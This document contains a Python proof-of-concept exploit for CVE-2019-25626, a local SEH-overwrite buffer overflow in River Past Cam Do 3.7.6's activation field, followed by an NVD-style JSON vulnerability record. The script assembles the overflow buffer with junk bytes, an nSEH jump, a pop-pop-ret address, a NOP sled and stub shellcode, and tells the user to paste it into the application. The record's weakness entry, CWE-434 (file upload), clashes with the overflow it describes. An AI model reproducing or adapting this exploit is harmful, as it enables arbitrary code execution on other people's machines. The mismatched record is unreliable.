CVE-2019-25626

import sys # PoC for CVE-2019-25626 - River Past Cam Do 3.7.6 Local Buffer Overflow # Vulnerability: Buffer overflow in activation code input field # Mechanism: Junk data (608 bytes) + SEH overwrite + Shellcode def generate_payload(): # 1. Offset to reach the SEH handler (608 bytes) junk = b"A" * 608 # 2. SEH overwrite structure # nSEH: Short jump instruction (EB 06) to skip the SEH handler and land in shellcode nseh = b"\xeb\x06\x90\x90" # SEH: Pointer to a Pop Pop Ret instruction (0x10015A6A from a module) # Note: Address needs adjustment based on specific application memory layout seh = b"\x6a\x5a\x01\x10" # 3. NOP sled and Shellcode nop_sled = b"\x90" * 32 # Example shellcode (e.g., calc.exe or bind shell) # Replace with actual payload for real testing shellcode = b"\xCC" * 300 payload = junk + nseh + seh + nop_sled + shellcode return payload if __name__ == "__main__": exploit_buffer = generate_payload() print(f"[+] Generated Exploit Buffer Length: {len(exploit_buffer)}") print("[+] Copy the raw bytes below and paste into the activation field.") # Saving to file for easy transfer with open("cve-2019-25626_exploit.txt", "wb") as f: f.write(exploit_buffer) print("[+] Saved to cve-2019-25626_exploit.txt")

{"cve": {"id": "CVE-2019-25626", "sourceIdentifier": "[email protected]", "published": "2026-03-24T12:16:02.230", "lastModified": "2026-04-27T13:35:16.957", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "River Past Cam Do 3.7.6 contains a local buffer overflow vulnerability in the activation code input field that allows local attackers to execute arbitrary code by supplying a malicious activation code string. Attackers can craft a buffer containing 608 bytes of junk data followed by shellcode and SEH chain overwrite values to trigger code execution when the activation dialog processes the input."}, {"lang": "es", "value": "River Past Cam Do 3.7.6 contiene una vulnerabilidad local de desbordamiento de búfer en el campo de entrada del código de activación que permite a atacantes locales ejecutar código arbitrario al proporcionar una cadena de código de activación maliciosa. Los atacantes pueden crear un búfer que contenga 608 bytes de datos basura seguidos de shellcode y valores de sobrescritura de la cadena SEH para desencadenar la ejecución de código cuando el diálogo de activación procesa la entrada."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:river_past_cam_do_project:river_past_cam_do:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.7.6", "matchCriteriaId": "0F77BF19-B6F5-4FF7-940D-91DAFC646994"}]}]}], "references": [{"url": "http://www.flexhex.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://en.softonic.com/download/river-past-cam-do/windows/post-download?sl=1", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/46670", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/river-past-cam-do-local-buffer-overflow-in-activation-code", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}